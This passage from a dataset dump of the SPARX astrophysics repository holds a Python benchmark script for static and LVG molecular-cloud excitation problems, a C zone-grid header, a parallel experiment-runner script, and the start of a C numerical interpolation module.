h5f.GetRadii()\n\t\t\t\tylist = h5f.GetRadial(\"lev1\")\n\t\t\t\th5f.Close()\n\t\t\t\tpl.plot(xlist, ylist, \"-^\", label=\"X(H2O)=%.2e (S3D)\"%Xmol)\n\n\t\t# Plot analytic solution\n\t\tpl.axhline(self.n_u_thick, color=\"r\", ls=\":\", label=\"LTE limit\")\n\t\tpl.axhline(self.n_u_thin, color=\"b\", ls=\":\", label=\"Optically thin limit\")\n\n\t\t# Setup plot\n\t\tpl.xscale(\"linear\")\n\t\tpl.yscale(\"log\")\n\t\tpl.xlabel(\"Radius [pc]\")\n\t\tpl.ylabel(\"Upper level fractional density\")\n\t\tpl.legend(loc=\"best\", prop=LEGND_PROP)\n\t\tpl.xlim((0, self.r / Unit.pc)) # pc\n\n\t\t# Save plot\n\t\tpl.savefig(self.name+\"-fig1.\"+IMG_TYP)\n\t\treturn\n\n\tdef plot_figure2(self, iX_range=None):\n\t\t\"\"\"\n\t\tFigure 2: shows the upper level population at the center of the cloud\n\t\tcalculated with SPARX as a function of abundance\n\t\t\"\"\"\n\t\t# Fall back to full range if iX_range not given\n\t\tif iX_range == None:\n\t\t\tiX_range = range(len(self.Xmol_list))\n\n\t\t# Clear figure\n\t\tpl.cla()\n\n\t\t# Allocate arrays for plotting\n\t\tXmol_arr = np.array(self.Xmol_list)\n\t\tif self.s1d_path :\n\t\t\tn_arr_s1d = np.zeros(shape=(len(self.Xmol_list)))\n\t\tif self.s3d_path :\n\t\t\tn_arr_s3d = np.zeros(shape=(len(self.Xmol_list)))\n\n\t\t# Loop through abundance list and gather n_u at\n\t\t# central zone\n\t\tfor i in iX_range:\n\t\t\tif self.s1d_path :\n\t\t\t\t# Get S1D results\n\t\t\t\th5f = grid.SPARXH5(self.s1d_pops[i])\n\t\t\t\tlevarr = h5f.GetRadial(\"lev1\")\n\t\t\t\tn_arr_s1d[i] = levarr[0]\n\t\t\t\th5f.Close()\n\t\t\tif self.s3d_path :\n\t\t\t\t# Get S3D results\n\t\t\t\th5f = grid.SPARXH5(self.s3d_pops[i])\n\t\t\t\tlevarr = h5f.GetRadial(\"lev1\")\n\t\t\t\tn_arr_s3d[i] = levarr[0]\n\t\t\t\th5f.Close()\n\n\t\t# Plot analytic solution\n\t\tpl.axhline(self.n_u_thick, color=\"r\", ls=\":\", label=\"LTE limit\")\n\t\tpl.axhline(self.n_u_thin, color=\"b\", ls=\":\", label=\"Optically thin limit\")\n\n\t\t# Plot SPARX solutions\n\t\tif self.s1d_path:\n\t\t\tpl.plot(Xmol_arr, n_arr_s1d, \"c-o\", label=\"S1D\")\n\n\t\tif self.s3d_path:\n\t\t\tpl.plot(Xmol_arr, n_arr_s3d, \"m-^\", label=\"S3D\")\n\n\t\t# Setup plot\n\t\tpl.xscale(\"log\")\n\t\tpl.yscale(\"log\")\n\t\tpl.xlabel(\"Molecular abundance\")\n\t\tpl.ylabel(\"Upper level fractional density\")\n\t\tpl.legend(loc=\"best\", prop=LEGND_PROP)\n\t\tpl.xlim((Xmol_arr[0], Xmol_arr[-1]))\n\n\t\t# Save plot\n\t\tpl.savefig(self.name+\"-fig2.\"+IMG_TYP)\n\t\treturn\n\n\tdef plot_figure3(self, iX_range=None):\n\t\t\"\"\"\n\t\tFigure 3: shows the emergent spectrum (T_A vs. v) for a Gaussian beam of\n\t\tprojected size 10pc (FWHM)\n\t\t\"\"\"\n\t\t# Fall back to full range if iX_range not given\n\t\tif iX_range == None:\n\t\t\tiX_range = range(len(self.Xmol_list))\n\n\t\t# Clear figure\n\t\tpl.cla()\n\n\t\t# Loop through abundance list\n\t\tfor i in iX_range:\n\t\t\tXmol = self.Xmol_list[i]\n\t\t\tif self.s1d_path :\n\t\t\t\t# Get and plot S1D results\n\t\t\t\ttmb = miriad.MirXYV(self.s1d_tmbs[i])\n\t\t\t\tvelo = tmb.v_list / 1e3 # [m/s] -> [km/s]\n\t\t\t\tspec = tmb.GetSpecOffASec(0, 0) # [K]\n\t\t\t\tpl.plot(velo, spec, \":\", label=\"X(H2O)=%.2e (S1D)\"%Xmol)\n\t\t\tif self.s3d_path :\n\t\t\t\t# Get and plot S3D results\n\t\t\t\ttmb = miriad.MirXYV(self.s3d_tmbs[i])\n\t\t\t\tvelo = tmb.v_list / 1e3 # [m/s] -> [km/s]\n\t\t\t\tspec = tmb.GetSpecOffASec(0, 0) # [K]\n\t\t\t\tpl.plot(velo, spec, \"-.\", label=\"X(H2O)=%.2e (S3D)\"%Xmol)\n\n\t\t# Setup plot\n\t\tpl.yscale(\"log\")\n\t\tpl.xlabel(\"Projected velocity (km/s)\")\n\t\tpl.ylabel(\"Antenna temperature (K)\")\n\t\tpl.legend(loc=\"best\", prop=LEGND_PROP)\n\t\tpl.xlim(-1.5, 1.5)\n\t\t#pl.ylim(1e-7, 1e-2)\n\n\t\t# Save plot\n\t\tpl.savefig(self.name+'-fig3.'+IMG_TYP)\n\t\treturn\n\n\tdef plot_figure4(self, iX_range=None):\n\t\t\"\"\"\n\t\tFigure 4: shows the total line luminosity as a function of the molecular\n\t\tabundance\n\t\t\"\"\"\n\t\t# Fall back to full range if iX_range not given\n\t\tif iX_range == None:\n\t\t\tiX_range = range(len(self.Xmol_list))\n\n\t\t# Clear figure\n\t\tpl.cla()\n\n\t\t# Setup data arrays\n\t\tL_list_theory = []\n\t\tL_list_s1d = []\n\t\tL_list_s3d = []\n\n\t\t# Loop through abundance list\n\t\tfor i in iX_range:\n\t\t\tXmol = self.Xmol_list[i]\n\t\t\t# Calculate theoretical luminosity limit\n\t\t\tL_list_theory += [self.calc_luminosity(Xmol) * 1e7] # [J s^-1] -> [erg s^-1]\n\n\t\t\tif self.s1d_path:\n\t\t\t\tcnv = miriad.MirXYV(self.s1d_cnvs[i])\n\t\t\t\tF_nu = cnv.GetSpecOffASec(0, 0) # [Jy/Beam]\n\t\t\t\tF_line = sum(F_nu) * 1e-26 # [J/m^2]\n\t\t\t\tL_line = F_line * 4.0 * Cnst.pi * self.R_beam**2 * 1e7 # [J s^-1] -> [erg s^-1]\n\t\t\t\tL_list_s1d += [L_line]\n\t\t\tif self.s3d_path:\n\t\t\t\tcnv = miriad.MirXYV(self.s3d_cnvs[i])\n\t\t\t\tF_nu = cnv.GetSpecOffASec(0, 0) # [Jy/Beam]\n\t\t\t\tF_line = sum(F_nu) * 1e-26 # [J/m^2]\n\t\t\t\tL_line = F_line * 4.0 * Cnst.pi * self.R_beam**2 * 1e7 # [J s^-1] -> [erg s^-1]\n\t\t\t\tL_list_s3d += [L_line]\n\n\t\t# Plot all solutions\n\t\tXmol_list = [self.Xmol_list[i] for i in iX_range]\n\t\tpl.plot(Xmol_list, L_list_theory, \":\", label=\"Theoretical limit\")\n\t\tif len(L_list_s1d):\n\t\t\tpl.plot(Xmol_list, L_list_s1d, \"o\", label=\"S1D\")\n\t\tif len(L_list_s3d):\n\t\t\tpl.plot(Xmol_list, L_list_s3d, \"^\", label=\"S3D\")\n\n\t\t# Setup plot\n\t\tpl.xscale(\"log\")\n\t\tpl.yscale(\"log\")\n\t\tpl.xlabel(\"Molecular fractional abundance\")\n\t\tpl.ylabel(\"Line luminosity (erg/s)\")\n\t\tpl.legend(loc=\"best\", prop=LEGND_PROP)\n\t\tpl.xlim(min(Xmol_list), max(Xmol_list))\n\t\t# pl.ylim(1e26, 1e32)\n\n\t\t# Save plot\n\t\tpl.savefig(self.name+'-fig4.'+IMG_TYP)\n\t\treturn\n\n\tdef run(self, exc_only=False, nofig=False, no_intermediate=False):\n\t\t\"\"\"\n\t\tRun the benchmark problems\n\t\t\"\"\"\n\t\t# Don't generate images if excitation only is requested\n\t\tgenimg = not exc_only\n\n\t\t# Calculate static problem for all abundances for all pipelines\n\t\tfor i in range(len(self.Xmol_list)):\n\t\t\tprint \"Running static problem for Xmol=%g...\"%self.Xmol_list[i]\n\t\t\t# S1D problem\n\t\t\tif self.s1d_path != None:\n\t\t\t\tself._pipeline_s1d(i, '0kms^-1', genimg)\n\t\t\t# S3D problem\n\t\t\tif self.s3d_path != None:\n\t\t\t\tself._pipeline_s3d(i, '0kms^-1', genimg)\n\n\t\t\t# Plot intermediate results\n\t\t\tif not nofig and not no_intermediate:\n\t\t\t\tprint \"Generating intermediate figures...\"\n\t\t\t\tself.plot_figure1(range(0,i+1))\n\t\t\t\tself.plot_figure2(range(0,i+1))\n\n\t\t\t\tif genimg:\n\t\t\t\t\tself.plot_figure3(range(0,i+1))\n\t\t\t\t\tself.plot_figure4(range(0,i+1))\n\n\t\tif not nofig:\n\t\t\tprint \"Generating final figures...\"\n\t\t\tself.plot_figure1(range(0,i+1))\n\t\t\tself.plot_figure2(range(0,i+1))\n\n\t\t\tif genimg:\n\t\t\t\tself.plot_figure3(range(0,i+1))\n\t\t\t\tself.plot_figure4(range(0,i+1))\n\t\tprint \"Static problem completed\"\n\t\tprint\n\t\treturn\n\n################################################################################\n\nclass LVG(Static):\n\t\"\"\"\n\tAnalytic solution for the expanding cloud:\n\tThe expanding cloud problem is solved using Sobolev's method,\n\twhich gives analytical solutions for the level populations.\n\t\"\"\"\n\tdef __init__(self, ndiv, Xmol_list, molec, alpha=100.0e3 / Unit.pc, fwhm=0.32e3, **kwargs):\n\t\tself.alpha = alpha\n\t\tself.name = NAME+\"-lvg\"\n\t\tStatic.__init__(self, ndiv, Xmol_list, molec, fwhm=fwhm, **kwargs)\n\t\treturn\n\n\tdef exc_t(self, Xmol):\n\t\t\"\"\"\n\t\tCalculate the `t' optical depth parameter for the LVG problem.\n\t\talpha = v / r (velocity gradient)\n\t\t\"\"\"\n\t\treturn (1.0 / (8.0 * Cnst.pi * self.alpha)) * (Cnst.c**3.0 / self.freq**3.0) * self.mol.line_Aul[0] * self.n_H2 * Xmol\n\n\tdef n_u_hightau(self, x_mol):\n\t\t\"\"\"\n\t\tCalculate upper level fractional population for\n\t\thigh-optical depth conditions\n\t\t\"\"\"\n\t\tfrom math import sqrt\n\t\tt = self.exc_t(x_mol)\n\t\tu = self.exc_u\n\t\ts = self.exc_s\n\t\treturn (t * (3.0 * u + 1.0) + s - sqrt((1.0 - u)**2.0 * t**2.0 + 2.0 * t * s * (3.0 * u + 1.0) + s**2.0)) / (4.0 * t * (u + 1.0))\n\n\tdef n_u_lowtau(self, x_mol):\n\t\t\"\"\"\n\t\tCalculate upper level fractional population for\n\t\tlow-optical depth conditions\n\t\t\"\"\"\n\t\tfrom math import exp\n\t\tt = self.exc_t(x_mol)\n\t\tu = self.exc_u\n\t\ts = self.exc_s\n\t\treturn u * t / (s * (1.0 - exp(-t)))\n\n\tdef n_u_analytic(self, X_mol):\n\t\tif X_mol <= 5.591e-8:\n\t\t\treturn self.n_u_lowtau(X_mol)\n\t\telse:\n\t\t\treturn self.n_u_hightau(X_mol)\n\n\tdef plot_figure2(self, iX_range=None):\n\t\t\"\"\"\n\t\tFigure 2: shows the upper level population at the center of the cloud\n\t\tcalculated with SPARX as a function of abundance\n\t\t\"\"\"\n\t\t# Fall back to full range if iX_range not given\n\t\tif iX_range == None:\n\t\t\tiX_range = range(len(self.Xmol_list))\n\n\t\t# Clear figure\n\t\tpl.cla()\n\n\t\t# Allocate arrays for plotting\n\t\tXmol_arr = np.array(self.Xmol_list)\n\t\tif self.s1d_path :\n\t\t\tn_arr_s1d = np.zeros(shape=(len(self.Xmol_list)))\n\t\tif self.s3d_path :\n\t\t\tn_arr_s3d = np.zeros(shape=(len(self.Xmol_list)))\n\n\t\t# Loop through abundance list and gather n_u at\n\t\t# central zone\n\t\tfor i in iX_range:\n\t\t\tif self.s1d_path :\n\t\t\t\t# Get S1D results\n\t\t\t\th5f = grid.SPARXH5(self.s1d_pops[i])\n\t\t\t\tlevarr = h5f.GetRadial(\"lev1\")\n\t\t\t\tn_arr_s1d[i] = levarr[0]\n\t\t\t\th5f.Close()\n\t\t\tif self.s3d_path :\n\t\t\t\t# Get S3D results\n\t\t\t\th5f = grid.SPARXH5(self.s3d_pops[i])\n\t\t\t\tlevarr = h5f.GetRadial(\"lev1\")\n\t\t\t\tn_arr_s3d[i] = levarr[0]\n\t\t\t\th5f.Close()\n\n\t\t# Plot analytic solutions\n\t\tpl.axhline(self.n_u_thick, color=\"r\", ls=\":\", label=\"LTE limit\")\n\t\tpl.axhline(self.n_u_thin, color=\"b\", ls=\":\", label=\"Optically thin limit\")\n\t\txarr = utils.generate_log_points(Xmol_arr[0], Xmol_arr[-1], 100)\n\t\tpl.plot(xarr, [self.n_u_analytic(Xmol) for Xmol in xarr], color=\"g\", ls=\"-.\", label=\"Sobolev approximation\")\n\n\t\t# Plot SPARX solutions\n\t\tif self.s1d_path:\n\t\t\tpl.plot(Xmol_arr, n_arr_s1d, \"c-o\", label=\"S1D\")\n\t\tif self.s3d_path:\n\t\t\tpl.plot(Xmol_arr, n_arr_s3d, \"m-^\", label=\"S3D\")\n\n\t\t# Setup plot\n\t\tpl.xscale(\"log\")\n\t\tpl.yscale(\"log\")\n\t\tpl.xlabel(\"Molecular abundance\")\n\t\tpl.ylabel(\"Upper level fractional density\")\n\t\tpl.legend(loc=\"best\", prop=LEGND_PROP)\n\t\tpl.xlim((Xmol_arr[0], Xmol_arr[-1]))\n\n\t\t# Save plot\n\t\tpl.savefig(self.name+\"-fig2.\"+IMG_TYP)\n\t\treturn\n\n\tdef run(self, vgrad=\"100kms^-1\", nofig=False, no_intermediate=False):\n\t\t\"\"\"\n\t\tRun the benchmark problems\n\t\t\"\"\"\n\t\t# Calculate static problem for all abundances for all pipelines\n\t\tfor i in range(len(self.Xmol_list)):\n\t\t\tprint \"Running LVG problem for Xmol=%g...\"%self.Xmol_list[i]\n\t\t\t# S1D problem\n\t\t\tif self.s1d_path != None:\n\t\t\t\tself._pipeline_s1d(i, vgrad, genimg=False)\n\t\t\t# S3D problem\n\t\t\tif self.s3d_path != None:\n\t\t\t\tself._pipeline_s3d(i, vgrad, genimg=False)\n\n\t\t\t# Plot intermediate results\n\t\t\tif not nofig and not no_intermediate:\n\t\t\t\tprint \"Generating intermediate figures...\"\n\t\t\t\tself.plot_figure1(range(0,i+1))\n\t\t\t\tself.plot_figure2(range(0,i+1))\n\n\t\tif not nofig:\n\t\t\tprint \"Generating final figures...\"\n\t\t\tself.plot_figure1(range(len(self.Xmol_list)))\n\t\t\tself.plot_figure2(range(len(self.Xmol_list)))\n\t\tprint \"LVG problem completed\"\n\t\tprint\n\t\treturn\n\n################################################################################\n\n##\n## Main\n##\nif __name__ == \"__main__\":\n\t##\n\t## Parse inputs\n\t##\n\t# Init option parser\n\tfrom optparse import OptionParser\n\tparser = OptionParser()\n\t \n\t# Setup options\n\tparser.add_option(\"--ndiv\", metavar=\"POSINT\", dest=\"ndiv\", nargs=1, default=\"8\", help=\"Number of zones along radial direction\")\n\tparser.add_option(\"--xmol\", metavar=\"XLIST\", dest=\"xmol\", nargs=1, default=\"1e-10,1e-9,1e-8,1e-7,1e-6\", help=\"List of abundances to calcualte\")\n\tparser.add_option(\"--tk\", metavar=\"TK\", dest=\"tk\", nargs=1, default=\"40K\", help=\"Kinetic temperature\")\n\tparser.add_option(\"--vgrad\", metavar=\"VELGRAD\", dest=\"vgrad\", nargs=1, default=\"100kms^-1\", help=\"Velocity gradient of LVG problem\")\n\tparser.add_option(\"--tcmb\", metavar=\"TCMB\", dest=\"tcmb\", nargs=1, default=\"0K\", help=\"Brightness temperature of background radiation\")\n\tparser.add_option(\"--snr\", metavar=\"SNR\", dest=\"snr\", nargs=1, default=\"20\", help=\"Final Monte Carlo S/N ratio\")\n\tparser.add_option(\"--tolerance\", metavar=\"TOLERANCE\", dest=\"tolerance\", nargs=1, default=\"1e-9\", help=\"Convergence criterion for fixed rays stage\")\n\tparser.add_option(\"--nrays\", metavar=\"NRAYS\", dest=\"nrays\", nargs=1, default=\"1000\", help=\"Number of initial rays\")\n\tparser.add_option(\"--maxiter\", metavar=\"MAXITER\", dest=\"maxiter\", nargs=1, default=\"1000\", help=\"Maximum number of iterations for converging Jbar and n\")\n\tparser.add_option(\"--molec\", metavar=\"MOLEC\", dest=\"molec\", nargs=1, default=\"o-h2o_2lev\", help=\"Molecule used in the benchmark\")\n\tparser.add_option(\"--clear\", dest=\"clear\", action=\"store_true\", default=False, help=\"Whether to remove old files\")\n\tparser.add_option(\"--trace\", dest=\"trace\", action=\"store_true\", default=False, help=\"Whether to trace convergence history\")\n\tparser.add_option(\"--from-lte\", dest=\"from_lte\", action=\"store_true\", default=False, help=\"Start convergence from LTE conditions\")\n\tparser.add_option(\"--static-only\", dest=\"static_only\", action=\"store_true\", default=False, help=\"Do static problem only\")\n\tparser.add_option(\"--lvg-only\", dest=\"lvg_only\", action=\"store_true\", default=False, help=\"Do LVG problem only\")\n\tparser.add_option(\"--exc-only\", dest=\"exc_only\", action=\"store_true\", default=False, help=\"Calculate excitation only\")\n\tparser.add_option(\"--nofig\", dest=\"nofig\", action=\"store_true\", default=False, help=\"Do not plot figures\")\n\tparser.add_option(\"--no-intermediate\", dest=\"no_intermediate\", action=\"store_true\", default=False, help=\"Do not plot intermediate figures\")\n\tparser.add_option(\"--orig\", dest=\"orig\", action=\"store_true\", default=False, help=\"Use original problem description\")\n\tparser.add_option(\"--1d-only\", dest=\"only1d\", action=\"store_true\", default=False, help=\"Do 1D problem only\")\n\tparser.add_option(\"--3d-only\", dest=\"only3d\", action=\"store_true\", default=False, help=\"Do 3D problem only\")\n\tparser.add_option(\"--np\", metavar=\"NPROC\", dest=\"nproc\", nargs=1, default=\"1\", help=\"Number of parallel processes\")\n\tparser.add_option(\"--nodes\", metavar=\"NODES\", dest=\"nodes\", nargs=1, default=\"\", help=\"List of MPI nodes separated by commas\")\n\t \n\t# The actual parsing\n\t(opts, args) = parser.parse_args()\n\n\t# The list of molecular abundances to be considered\n\t#Xmol_LIST = [1e-10, 1e-9, 1e-8, 1e-7, 1e-6, 1e-5][:]\n\tXmol_LIST = [float(i) for i in opts.xmol.split(\",\")]\n\tfor i in Xmol_LIST:\n\t\tif i <= 0:\n\t\t\traise Exception, \"xmol must be > 0\"\n\n\t# SNR\n\tSNR = float(opts.snr)\n\n\t# NRAYS\n\tNRAYS = int(opts.nrays)\n\n\t# FROMLTE\n\tFROMLTE = opts.from_lte\n\n\t# TRACE\n\tTRACE = opts.trace\n\n\t# TOLERANCE\n\tTOLERANCE = float(opts.tolerance)\n\n\t# NPROC\n\tNPROC = int(opts.nproc)\n\n\tNODES = \" \".join(opts.nodes.split(\",\"))\n\n\t# MAXITER\n\tMAXITER = int(opts.maxiter)\n\n\t# NDIV\n\tif opts.orig:\n\t\tprint \"Using original gridding\"\n\t\tNDIV = None\n\telse:\n\t\tNDIV = int(opts.ndiv)\n\n\t# Clear old files?\n\tif opts.clear:\n\t\tfrom glob import glob\n\t\tutils.confirm_remove_files(glob(\"./%s*\"%NAME))\n\n\ts1d_path = \".\"\n\ts3d_path = \".\"\n\tif opts.only1d:\n\t\ts3d_path = None\n\telif opts.only3d:\n\t\ts1d_path = None\n\n\t##\n\t## Run validation\n\t##\n\t# Calculate static problem\n\tif not opts.lvg_only:\n\t\tstatic = Static(NDIV, Xmol_LIST, opts.molec, tcmb=opts.tcmb, s1d_path=s1d_path, s3d_path=s3d_path)\n\t\tstatic.run(opts.exc_only, opts.nofig, opts.no_intermediate)\n\n\t# Calculate LVG problem\n\tif not opts.static_only:\n\t\tlvg = LVG(NDIV, Xmol_LIST, opts.molec, tcmb=opts.tcmb, s1d_path=s1d_path, s3d_path=s3d_path)\n\t\tlvg.run(opts.vgrad, opts.nofig, opts.no_intermediate)\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6811529994010925, "alphanum_fraction": 0.6869179606437683, "avg_line_length": 32.6119384765625, "blob_id": "31fb6882e725cae385c73898ae753a11dace5dc0", "content_id": "97e64ee283e9329bbca8fdf92cc7658c690f9a96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2255, "license_type": "no_license", "max_line_length": 123, "num_lines": 67, "path": "/src/zone.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __ZONE_H__\n#define __ZONE_H__\n\n#include <stdio.h>\n#include \"geometry.h\"\n\ntypedef struct Zone {\n\t/* Grid level */\n\tint level;\n\n\t/* 1-D position of this zone relative to current level */\n\tsize_t pos;\n\n\t/* 3-D position of this zone */\n\tGeVec3_s index;\n\n\t/* GeVox associated with this zone */\n\tGeVox voxel;\n\n\t/* Pointers to parent and children */\n\tstruct Zone *root, *parent, **children;\n\n\t/* Number of children */\n\tsize_t nchildren;\n\n\t/* Number of divisions on each axis on child grid */\n\tGeVec3_s naxes;\n\n\t/* Generic pointer to data associated with this zone */\n\tvoid *data;\n\n} Zone;\n\n#define Zone_CHILD(zone, idx)\\\n\tzone->children[Ge_IndexToIelem(&(idx), &(zone)->naxes)]\n\n#define Zone_CHILD2(zone, i, j, k)\\\n\tzone->children[Ge_PosToIelem((size_t)(i), (size_t)(j), (size_t)k, &(zone)->naxes)]\n\n/* Zone utility routines */\nZone *_Zone_Alloc(size_t pos, Zone *parent, void *(*DataAlloc)(const Zone *, const void *), const void *data_parms);\n#define Zone_Alloc(pos, parent, DataAlloc, data_parms)\\\n\t_Zone_Alloc((size_t)(pos), (parent), (DataAlloc), (data_parms))\nvoid Zone_Free(void *ptr, void (*DataFree)(void *ptr));\nvoid Zone_GrowChildren(Zone *zone, GeVec3_s naxes, void *(*DataAlloc)(const Zone *, const void *), const void *data_parms);\nvoid Zone_Set_child_voxel(Zone *zone, size_t pos);\nZone *Zone_GetLeaf(Zone *zone, size_t side, const GeVec3_d *pt);\nZone *Zone_GetLeaf_sph1d(Zone *zone, size_t side);\nZone *Zone_GetLeaf_rec3d(Zone *zone, size_t side, const GeVec3_d *pt);\nZone *Zone_GetNext_sph1d(Zone *zone, size_t side);\nZone *Zone_GetNext_rec3d(Zone *zone, size_t side, const GeVec3_d *pt);\nZone *Zone_GetMinLeaf(Zone *zone);\nZone *Zone_GetMaxLeaf(Zone *zone);\nZone *Zone_GetInner(Zone *zone);\nZone *Zone_GetOuter(Zone *zone);\nZone *Zone_AscendTree(Zone *zone);\n\n/* Zone display/print routines */\nvoid Zone_Fprintf(FILE *fp, const Zone *zone, void (*DataFprintf)(void *data, FILE *fp));\nvoid Zone_Cpgplot(Zone *zone, GeCam *cam);\n\nsize_t Zone_Fwrite(const Zone *zone, size_t (*DataFwrite)(void *data, FILE *fp), FILE *fp);\nZone *Zone_Fread(void *(*DataAlloc)(const void *data_parms), const void *data_parms, \n\tsize_t (*DataFread)(void *data, FILE *fp), FILE *fp);\n\nZone *Zone_GetNext(Zone *zone, size_t plane, const GeRay *ray);\n#endif\n\n\n\n" }, { "alpha_fraction": 0.6705036163330078, "alphanum_fraction": 0.6714628338813782, "avg_line_length": 23.220930099487305, "blob_id": "6ebf13a29e69ee6be7501e3c35796c50b2db1b7d", "content_id": "ab5d2aed6acb4269e324d5d1263138f51f7235a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2085, "license_type": "no_license", "max_line_length": 116, "num_lines": 86, "path": "/bin/repeat_exp_with_tokens", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n\nclass TokenPool:\n\tdef __init__(self, n):\n\t\tfrom multiprocessing import Queue\n\t\tself.pool = Queue()\n\t\tfor i in range(n):\n\t\t\tself.pool.put(i)\n\t\treturn\n\n\tdef acquire(self):\n\t\treturn self.pool.get()\n\n\tdef release(self, token):\n\t\tself.pool.put(token)\n\t\treturn\n\nif __name__ == \"__main__\":\n\tfrom argparse import ArgumentParser\n\tparser = ArgumentParser()\n\tparser.add_argument(\"n\", metavar=\"N_EXP\", help=\"Number of experiments to run\")\n\tparser.add_argument(\"cmd_arg\", nargs=\"+\", help=\"Command and arguments to run\")\n\tparser.add_argument(\"--ntoken\", default=4, help=\"Number of tokens to allocate\")\n\tparser.add_argument(\"--dirformat\", default=None, help=\"Directory name format\")\n\tparser.add_argument(\"--reset\", default=False, action=\"store_true\", help=\"Remove all intermediate files in exp dir\")\n\targs = parser.parse_args()\n\n\tfrom multiprocessing import Queue\n\timport shutil as sh\n\tfrom glob import glob\n\tretQ = Queue()\n\n\tdef worker(id, pool, token):\n\t\timport os\n\t\timport os.path as path\n\t\tfrom subprocess import call\n\t\tprint \"Worker %d running with token %d...\" % (id, token)\n\t\tsavdir = None\n\t\tif args.dirformat:\n\t\t\tdirname = args.dirformat % i\n\t\t\tif not path.isdir(dirname):\n\t\t\t\tos.mkdir(dirname)\n\t\t\tsavdir = os.getcwd()\n\t\t\tos.chdir(dirname)\n\n\t\t\tif args.reset:\n\t\t\t\tfor d in glob(\"*\"):\n\t\t\t\t\tsh.rmtree(d)\n\t\tcmdstr = \" \".join(args.cmd_arg)\n\t\tfo = open(\"output\", \"w\")\n\t\tret = call(cmdstr, shell=True, stdout=fo, stderr=fo)\n\t\tfo.close()\n\t\tif savdir:\n\t\t\tos.chdir(savdir)\n\t\tpool.release(token)\n\t\tretQ.put((id, ret))\n\t\treturn\n\n\t# Initialize token pool and results queue\n\ttp = TokenPool(int(args.ntoken))\n\n\tfrom multiprocessing import Process\n\n\tprint \"Launching processes...\"\n\tprocs = []\n\tfor i in range(int(args.n)):\n\t\tt = tp.acquire()\n\t\tproc = Process(target=worker, args=(i, tp, t))\n\t\tprocs.append(proc)\n\t\tproc.start()\n\n\t# Wait for processes to complete\n\tfor p in procs:\n\t\tp.join()\n\n\tret_list = []\n\twhile len(ret_list) != int(args.n):\n\t\tret_list.append(retQ.get())\n\n\tfor ret in sorted(ret_list):\n\t\tprint \"Worker %d ret=%d\" % ret\n\n\timport time\n\ttime.sleep(1)\n\n\tprint \"Done!\"\n\n\n" }, { "alpha_fraction": 0.510619580745697, "alphanum_fraction": 0.5334700345993042, "avg_line_length": 22.947275161743164, "blob_id": "4130e7928d6d6eb1bdb8d4e9fe6e782108351705", "content_id": "7af666ac037a278dc54beaa238f11e0ce01b5629", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 13654, "license_type": "no_license", "max_line_length": 112, "num_lines": 569, "path": "/src/numerical.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <stdlib.h>\n#include <math.h>\n#include <float.h>\n#include <assert.h>\n#include <gsl/gsl_spline.h>\n#include <gsl/gsl_linalg.h>\n#include <gsl/gsl_cblas.h>\n#include <gsl/gsl_blas.h>\n#include <gsl/gsl_rng.h>\n#include <fftw3.h>\n\n#include \"debug.h\"\n\n#include \"memory.h\"\n#include \"numerical.h\"\n\nstatic int compar_d(const void *a, const void *b);\n\n/*----------------------------------------------------------------------------*/\n\nstatic int compar_d(const void *a, const void *b)\n{\n\tdouble aa = *((const double *)a), bb = *((const double *)b);\n\n\tif(aa > bb)\n\t\treturn 1;\n\telse if(fabs(aa - bb) <= DBL_EPSILON)\n\t\treturn 0;\n\telse\n\t\treturn -1;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid *Num_Bsearch_d(double key, double *base, size_t n)\n{\n\treturn bsearch(&key, base, n, sizeof(*base), compar_d);\n}\n\n/*----------------------------------------------------------------------------*/\n\nsize_t Num_GetInterpIdx(double x, const double *xa, size_t n, size_t m)\n{\n\tsize_t idx;\n\n\t/* Search for position of x within xa */\n\tidx = gsl_interp_bsearch(xa, x, (size_t)0, n - 1);\n\n\t/* Try to place idx at the beginning of the nearest\n\t * block of m elements; if not possible then is either\n\t * at xa[0] or xa[n - m].\n\t *\n\t * Special care must be taken since ((size_t)0 - 1)\n\t * could overflow and turn into garbage.\n\t */\n\tif(idx > (m - 1) / 2) {\n\t\tidx = Num_MIN(idx - (m - 1) / 2, n - m);\n\t}\n\telse {\n\t\tidx = 0;\n\t}\n\n\treturn idx;\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble Num_InterpLinear(double x, double x_0, double x_1, double y_0, double y_1)\n/* linearly interpolate between two points:\n * \ty = y_0 + m * dx\n *\n * where m = (y_1 - y_0) / (x_1 - x_0)\n */\n{\n\tif(fabs(x_1 - x_0) > 0) {\n\t\treturn y_0 + ((y_1 - y_0) / (x_1 - x_0)) * (x - x_0);\n\t}\n\telse {\n\t\treturn y_0;\n\t}\n}\n\n/*----------------------------------------------------------------------------*/\n\ndouble Num_InterpPoly(double x, const double *xa, const double *ya, size_t n, size_t m)\n/* Do polynomial interpolation of arrays xa[] and ya[] of size n and order m */\n{\n\tsize_t idx;\n\tdouble result = 0.0;\n\tgsl_interp_accel *acc;\n\tgsl_spline *spline;\n\n\tidx = Num_GetInterpIdx(x, xa, n, m);\n\n\t/*init interpolation objects*/\n\tacc = gsl_interp_accel_alloc(); //init accelerator\n\tspline = gsl_spline_alloc(gsl_interp_polynomial, m); //init spline object\n\tgsl_spline_init(spline, &xa[idx], &ya[idx], m);\n\n\t/*execute interpolation*/\n\tresult = gsl_spline_eval(spline, x, acc);\n\n\t/*cleanup*/\n\tgsl_spline_free(spline);\n\tgsl_interp_accel_free(acc);\n\n\treturn result;\n}\n\n/*----------------------------------------------------------------------------*/\n\n#define YA(a,b) (ya[(b)+n2*(a)])\n#define YSUB(a,b) (ysub[(b)+m2*(a)])\n\ndouble Num_InterpPoly2d(double x1, double x2, const double *x1a, const double *x2a,\n\tconst double *ya, size_t n1, size_t n2, size_t m1, size_t m2)\n/*do an order m1 x m2 2d polynomial interpolation of 2d array ya[] at (x1,x2)\n in coordinates given by x1a[] & x2a[]*/\n{\n\tsize_t idx1, idx2, i, j;\n\tdouble *x1sub = NULL, *x2sub = NULL;\n\tdouble y, *ysub = NULL, *ytmp = NULL;\n\n\t/* Allocate sub-block and coordinates 